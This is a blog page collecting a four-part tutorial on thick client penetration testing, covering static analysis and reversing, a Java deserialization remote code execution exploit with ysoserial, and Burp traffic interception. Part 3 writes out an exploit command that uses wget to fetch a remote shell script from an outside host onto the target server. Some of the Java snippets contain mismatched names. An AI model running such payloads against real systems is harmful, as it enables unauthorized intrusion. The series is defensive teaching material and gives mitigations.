Sunday, 6 August 2017

Thick Client Penetration Testing Tutorials - Part 4 ( Memory Forensics/ Reversing)

Static Analysis/ Reverse Engineering for Thick Clients Penetration Testing 4

Hi Readers, let’s take a look into static analysis. The advantage which thick clients offer over web applications are the ability to inspect the code and perform code level fuzzing which is more interesting for me!

How to inspect code at a static level?

There are many test cases which aid us to perform static analysis. Some of these include:
  
1  1)      Memory Level Protection Checks ( DEP / ASLR)
2  2)      String based analysis to find information
3  3)      Configuration File checks
4  4)      Memory inspection to find hardcoded passwords
5  5)      Reverse Code Level Logic to bypass checks/ licences

1.       To check memory level protections, we can use the free system internals suite by Microsoft
Once you download the above suite, there are multiple tools available out in to play with. Let’s launch a sample application and check for ASLR and DEP protections.
For those unaware, ASLR stands for Address Space Layout Randomization and DEP stands for Data Execution Protection.
To sum in a nutshell , Address Space Layout Randomisation (ASLR) is a technology used to help preventing shellcodes from being successful. It does this by randomly offsetting the location of modules and certain in-memory structures.
Data Execution Prevention (DEP) on the other hand prevents certain memory sectors, e.g. the stack, from being executed.
When combined it becomes exceedingly difficult to exploit vulnerabilities in applications using shellcode or return-oriented programming (ROP) techniques.

There’s a newer protection called CFG (Control Flow Guard).
Control Flow Guard (CFG) is a highly-optimized platform security feature that was created to combat memory corruption vulnerabilities. By placing tight restrictions on where an application can execute code from, it makes it much harder for exploits to execute arbitrary code through vulnerabilities such as buffer overflows. CFG extends previous exploit mitigation technologies such as /GS, DEP, and ASLR.


So now we can check if the above are enabled or not. Head over to sysinternals folder and fireup process explorer.exe
Once you launch the window, look for the particular programme you are using and check for the settings like this:




Just right click on a programme and check under properties tab-> image.
Notice the above, for this particular application all three settings are disabled. If such a programme is developed in memory manipulative applications such as C/ C++ etc, having functions such as memcpy and strcpy functions can make buffer overflow attacks feasible.
Mitigation: Enabled ASLR/ DEP/ CFG for application at source code level

2) String Based analysis
This check applies to performing static analysis for both malware as well as thick client. It gathers all the information about the text strings in the binary and gives us information for the application. We can get hardcoded passwords/ dangerous functions/ sensitive urls etc from here.
For this you can test the application strings by two methods.

a   a)       Easier one is using the same process explorer application properties under “Strings” tab.


b    b)      For command line version use the following:






Output file will look like this:



Analysing the file will many times give you sensitive details including urls, passwords and more juicy stuff. I leave you to explore the rest.
Mitigation : Putting checks to ensure no sensitive data is present in the strings during compilation.

3) Configuration file checks
One place to look for real nice information ( easy way) is to directly take a look for installation folder of the application which you are testing. The xml files, db files and config files are bound to give you something or other as information.
A sample application I was experimenting with gave me the connection passwords! Take a look:



Such information is critical to find and leave the application to be entirely compromised!
Similarly, you can look for registry file entries for the same application to find more information.
Another vector to look for includes checking file permission.


In such cases, look if the application allows full control to even normal users. If such is the case, It allows unrestricted access which is not recommended.
Practical experience: During testing of an application, I could get the config file and simply change “ Use Captcha = yes” to No and I was able to bypass captcha for the particular application!
So you never know, you can disable certain protection from the config files itself.
Mitigation: To ensure hardcoded credentials and information are not present.

4) Memory inspection to find passwords
A great tool to look for info is WinHex ( the free version works well)
I have loaded a sample file and tweaked the Hex Data to demonstrated in real life how passwords can be found.
Simply go to  File-> Open and Launch the application you are testing. Scroll down the seek bar and look for sensitive information.



Mitigation: Use encryption logic to prevent passwords and credentials from being logged into the memory.

5) Reverse Engineering / Code Decompilation
Next comes coming down to code level. For exe files, you can use Ollydbg/ IDA Pro. For java based thick clients you can use JD-GUI to find the code.
Again, you can find the screenshots which shows us complete code for the java application I am using as sample for testing.



As you can see, I got access to the entire class files and source code used for the application. Such information can aid a person to use the code and create a plagiarized version of the same or tweak the application logic to change the application or even inject a backdoor in the application! The possibilities are immense.
There are many ways to re package and modify the tool which I will cover under a later part of Reverse Engineering.
Mitigation: Employ “obfuscation logic” to protect source code decompilation and reverse engineering attempts.


Upcoming topics: Input validation for thick clients and DLL hijacking. 

Thick Client Penetration Testing Tutorials - Part 3 ( Java Deserialization Exploit to RCE)

Thick Client Penetration Testing – 3 (Java Deserialization Exploit: Remote Code Execution)

Welcome Readers, in the previous two blogs, we have learnt about the various test cases as well as setting up traffic for thick clients using interception proxy. Among the plethora of test cases out here, one particularly interesting is about “Remote Code Execution on thick clients”.
For this particular RCE, among one of the thick clients I was testing, it was based on Java Application.
While researching possible exploits, I noticed that there are custom deserialization methods in Apache commons-collections which has a particular “reflection logic”. This can be particularly exploited which can lead to remote command injection as well as lethal arbitrary code execution.
All applications which are java based and perform serialization/ deserialization with untrusted data to deserialize having “commons-collections” in its classpath can be exploited to run arbitrary code!
For starters, let’s cover a few concepts before we dive into the exploit.

Note: Here we are directly creating serialized exploit as well as injecting the same directly. For analysing the traffic in a clear format, I shall cover the same in next part.

What is serialization in Java?
Serialization in java is a mechanism of writing the state of an object into a byte stream. It is majorly used in Hibernate, RMI, JPA, EJB and JMS technologies.
Exactly the reverse of serialization becomes deserialization.
Why Java Serialization is needed?
This helps to transit the object's state on the network aka marshaling.




java.io.Serializable interface

Serializable is a marker interface (sans data member and method).
It is used to "mark" java classes so that objects of these classes may get certain capabilities. 
Let’s take a code snippet and analyze the concept

import java.io.Serializable; 
public class demo  implements Serializable{ 
 int id; 
 String name; 
 public test (int id, String name) { 
  this.id = id; 
  this.name = name; 
 } 
}    
In the above example, test class implements Serializable interface. Now its objects can be converted into stream.
ObjectOutputStream class
ObjectOutputStream class writes primitive data types and Java objects to an OutputStream. Only objects that support the java.io.Serializable interface can be written to streams.
Example of Java Serialization
In this example, we are going to serialize the object of test class. The writeObject() method of ObjectOutputStream class provides the functionality to serialize the object. We are saving the state of the object in the file named learn.txt.
import java.io.*; 
class Learn{ 
 public static void main(String args[])throws Exception{ 
 Person p1 =new Person(001,"Tester"); 
 FileOutputStream fout=new FileOutputStream("learn.txt"); 
  ObjectOutputStream out=new ObjectOutputStream(fout); 
  out.writeObject(s1); 
  out.flush(); 
  System.out.println("success"); 
 } 
Once we are done serializing the above, the output will be something like this:
Output ( Success) : ¬í sr PersonJìšñ#²Uw I idL

namet Ljava/lang/String;xp   Ót

Tester


Deserialization in java

Deserialization is the reverse process of reconstructing the object from the serialized state. It is the reverse operation of serialization.
The code snippet for the same is :
import java.io.*; 
class Depersist{ 
public static void main(String args[])throws Exception{ 
ObjectInputStream in=new ObjectInputStream(new FileInputStream("learn.txt")); 
Person p1=(Person)in.readObject(); 
System.out.println(s.id+" "+s.name); 
in.close(); 
 } 
Output(001,"Tester"): ¬í sr PersonJìšñ#²Uw I idL

namet Ljava/lang/String;xp   Ót

Tester



If you want to learn more, please take a look here: https://www.javatpoint.com/serialization-in-java

So now having the basics of how serialization and de serialization works, let’s head to the exploit!


Step 1: Intercept the thick client which are testing (java based) using burp.


Here we have a serialized object going through the burp request.
Step 2: At this point, we can extend the content length, to insert a malicious exploit. Hence:


Step 3:  Generating serialized exploit:
There are multiple tools by which we can create a serialized exploit. The one I am using here is Chris Frohoff's ysoserial ( https://github.com/frohoff/ysoserial )
Running the jar file with the payload type and command to execute will generate the serialized object for you.

The exploit I created is:
java -jar ysoserial.jar CommonsCollections3 “wget http://disposablewebpage.com/up/10b14792076539622.png -O /tmp/exploit.sh
For crafting payload: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'



Note, I have redirected the output to a text file for using the exploit.
Step 4: Let’s check the exploit created:


Step 5: If you notice our exploit.sh is created which is a remote shell file which will be dropped to the remote server where the java application is hosted.
Step 6: Now simply we need to replace the original request with this particular payload like this:

Replace with paste from file:





Choose the exploit.txt
Now It will look like this:


Once done, forward the request and analyse the response. If the response shows “instantiate Transformer” like this:




Then your exploit is successful!
Now on the server and you can see something like this:






 Instead of creating a file, you can also pass a command such as: 'ping google.com'.
How to mitigate the issue on server side?
·         Prevent Deserialization of Domain Objects
·         Harden the java.io.ObjectInputStream
·         Harden All java.io.ObjectInputStream Usage with an Agent
·         Delete InvokerTransformer.class file. If your application does not utilize it.


More Reference:



Thick Client Penetration Testing Tutorials - Part 2 ( Traffic Interception)

After getting the basics of thick client pentest, let’s delve into the very first steps you can take to commence thick client pentest.
Interception and setting up proxy of application.
Thick clients can be broken down into two types based on proxy settings:


1    1)      Proxy aware
     2)      Proxy unaware

Proxy aware are those applications which has settings in the application itself to route through IP address and ports for the purpose of logging in the application as well as transmit and receive data.
Whenever you log into the application, you will be given a prompt showing username/ password along with destination IP and port.
In case where the application does not have such settings, and only accepts username and password for authentication, you have to redirect the traffic from the application to your system to the actual server. This is the case of proxy unaware thick clients.

Let’s see how:

The very first step involves in getting the hostname of the thick client application’s url. We need to capture the particular traffic going through this url to our own machine.

Step 1: Ping the url you have got for testing (say www.thickclienturl.com)
Step 2:  Note the reply ip address you get in the cmd console.
Step 3:  Now we need to know on which ports is the application interacting to send traffic. Now launch wireshark and activate it to capture active packets.
Step 4: Now run the thick client and login with your valid credentials and let Wireshark capture traffic for some time.
Step 5: Say after 10 minutes or so, go to wireshark statistics and find the particular ip in order to determine the ports being used.





Step 6: Click on IP destinations and you will be present with a similar screen as below:



Step 7: As you can see, suppose the above IP is the actual IP resolved while we pinged the url from the cmd in step 1, just expand the url and you can see the ports under TCP which are being used by the application to perform communications.
Keep a note of the 1. URL and 2. The TCP Ports (since we will need to intercept modifying these settings)
Step 8:  Add the hostname of the domain to your hosts file, so the system thinks that the hostname’s server is the machine itself (this helps to capture the traffic from the proxy unware thick client to your interception proxy)
Step 9:  Modify the hosts file in your system ( C:\Windows\System32\drivers\etc\hosts)
Step 10:  Open any text editor and launch the hosts file inside it.

Step 11: Now the actual server of the application won’t hit but remain inside your system, from where you can forward the traffic to your actual server.

In short, under normal scenario:


While for interception it’s like this:


 Step 12: So now whenever you fire up the application, the traffic from the application will be redirected to your own system from where you can intercept the request response and then forward it to the actual server.
Step 13: Now that we have configured the preliminary settings, let’s configure burp to understand the same, so we can intercept the traffic for the same.


Step 14: Here we have to use multiple bind to ports to capture the traffic hassle-free. The data we have from our initial assessment, we need to populate here.
Step 15: Assuming the above IP captured in wireshark (216.58.199.1174) is the IP for our thick client ( www.thickclienturl.com) and the ports are 45716,45717,45718,45719, we setup the following in burp:





      
Similarly, for all the ports we keep adding the above setting.
Finally, we will see the following proxy option set:

 

Step 16: Make sure to enable the ‘invisible proxying’ option in burp, since we are intercepting proxy unaware applications this option will instruct Burp that its interface should be an emulated web server interface rather than the typical proxy style interface that's used by default.
Step 17: Once this is done, now restart the thick client, keep your burp interception on and enter the user id credentials, you will see burp starting to intercept the traffic in the application!


Key points:

We saw how to intercept traffic for thick clients using Burp Suite. ( note this only holds for http protocol thick clients, for non http protocol thick clients, we need to use other tools like fiddler)


The next article in the series will cover the penetration testing test cases along with vulnerabilities which we will find in thick clients. 

Thick Client Penetration Testing Tutorials - Part 1

Hi Readers, today we will read on performing a penetration testing on thick clients.

Why thick client penetration testing?
Thick client applications are not new having been in existence for a long time, however if given to perform a pentest on thick clients, it is not as simple as a Web Application Pentest.
Thick clients are majorly used across organizations for their internal operations.
In this series of articles, we will learn various tools and techniques used to perform thick client application penetration testing.

A step by step breakdown being deployed, we will discuss about starting with the very basics to the advanced test cases.
Introduction
Referenced under multiple names, such as: Fat client/Heavy client/Rich client/Thick client, such applications follow a client–server architecture.

For an easy to understand approach, thick clients are applications which are deployed locally on our systems. Such as skype/ outlook.
Thick clients can be developed using multiple languages such as: .NET, C /C++, Java
Architectural view of Thick Client applications:
2-tier applications
A typical setup where a client and a database interacts with each other. Here the bulk of processing and operations are performed on the client side, while the database operations and queries once executed makes the data processed and stored on the database.



Why is this insecure?
Deploying such a setup opens up multiple vulnerabilities which may lead to compromise of database credentials along with plethora of multiple exploits within the application.
3-tier applications:
This is the alternate and well-structured 3-tier architecture. Here the client server has three components defined:



The bulk of processing is done at the server side while the queries are performed at client side with requests. This makes security stringent at than a 2-tier application, however not fully safe.
 What are the security testing methods feasible for Thick Client?
We can break down the different types of pen testing a thick client into:
·         Dynamic Testing ( fuzzing, traffic interception, injections)
·         System Testing ( checking for logs, data files, registry keys, process threads)
·         Static Testing ( reverse engineering, binary analysis )

Dynamic testing generally follows data flow from the client side to server side.

This gives rise to the following test cases:

1.       Dynamic test cases:

Input Validation (Fuzzing user input fields)
Here our main goal is to test all the input parameters for different types of attacks which includes:

·         SQL injection
·         Command injection
·         Malicious input acceptance.

File Upload

Here our goal is to attempt to upload malicious files which can be injected into the application input request which can lead us to shell upload/ malicious code execution.

Buffer Overflow

Here our goal is to examine C / C++ programmed thick clients majorly to test the memory functions deployed which will allow us to check how the buffer overflow vulnerabilities and memory violations.

Secure traffic analysis (protocols)

The testing for this case involves checking whether encryption is applied for sensitive data on the wire or not (example: clear text data transmission is a vulnerability)

Business logic validations

This has multiple sub test cases which can involve privilege escalation, price tampering, authorization bypass etc.

Error handling/ Info Leakage

Tester tries in this case to extract verbose error messages which may give information about underlying framework, application code and log details.

Session management

Test cases on session validity/ expiration/ fixation comes under this method.

Forced URL access via browser

Many a times, configuration URLs can be directly connected via the web browser

Log tampering

Most of the applications we test does not validate the timestamp directly accepting the local system time from user, performing malicious transactions via changing the system time leads to inconsistency of the application logs.


2.       System Test cases:

Exfiltration of Sensitive data from memory

Many times applications store username passwords. Such information is lethal for compromising the application. There are multiple tools which help us to check the same (A free tool for the same is Winhex)

DLL High-jacking

Test case for this involves:  if the application validates the DLLs used by the application. If by replacing the actual DLLs with malicious file with the same name, this can lead to critical findings in the application.

3.       Static Testing


Analysing Config files

Many a times configuration files of the application reveals URL, Server credentials/ Cryptographic keys/ Hardcoded passwords. Even checking of certain parameters can be easily disabled with a value =yes with = no!

Reverse Engineering

Using reversing tools, executable file/ jar files can be decompiled which can be modified and repackaged


Key points:

That's all readers for now. This article gave you a brief idea of how to go about testing an application.
In upcoming articles we will cover the following yet not limited to topics:

a.       Intercepting thick client applications and tampering request/ response
b.       Reverse engineering jar/ exe files
c.       DLL Hijacking
d.       Memory forensics
e.       Testing for sql injection, remote code execution
f.        Deserialization of traffic analysis of java thick clients


Hacking into Block Chain Technology:Part 2

Security Testing on Block Chain: By- Samrat Das Now since we have our fundamentals clear on block chain, let’s proceed for un...